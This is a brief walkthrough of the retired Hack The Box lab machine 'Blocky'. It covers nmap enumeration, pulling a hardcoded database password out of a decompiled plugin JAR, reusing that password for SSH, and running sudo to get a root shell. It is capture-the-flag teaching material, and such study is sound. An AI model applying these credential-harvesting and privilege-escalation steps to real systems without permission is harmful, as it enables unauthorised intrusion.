Hack The Box · Linux Machine
Blocky
| Name | Blocky |
|---|---|
| Release date | 21 Jul 2017 |
| Retire date | 09 Dec 2017 |
| OS | Linux |
| Difficulty | Easy - Retired [0] |
| Rated difficulty |  |
| Radar graph |  |
| Creator | Arrexel |
| CherryTree file | Download and remove the .txt extension |
Enumeration
Nmap exposed FTP, SSH, and a WordPress site. Content discovery found a nonstandard /plugins directory containing two JAR files.
nmap -sC -sV -oA ./blocky 10.10.10.37
Java decompilation and SSH
Decompiling BlockyCore.class exposed the database password 8YsqfCTnvxAUeduzjNSXe22. The WordPress author identified the local user as notch, and password reuse provided SSH access.
sqlHost = "localhost"
sqlUser = "root"
sqlPass = "8YsqfCTnvxAUeduzjNSXe22"
ssh [email protected]
Privilege escalation
The notch account belonged to the sudoers group. The reused password permitted an immediate privileged shell.
sudo -l
sudo /bin/bash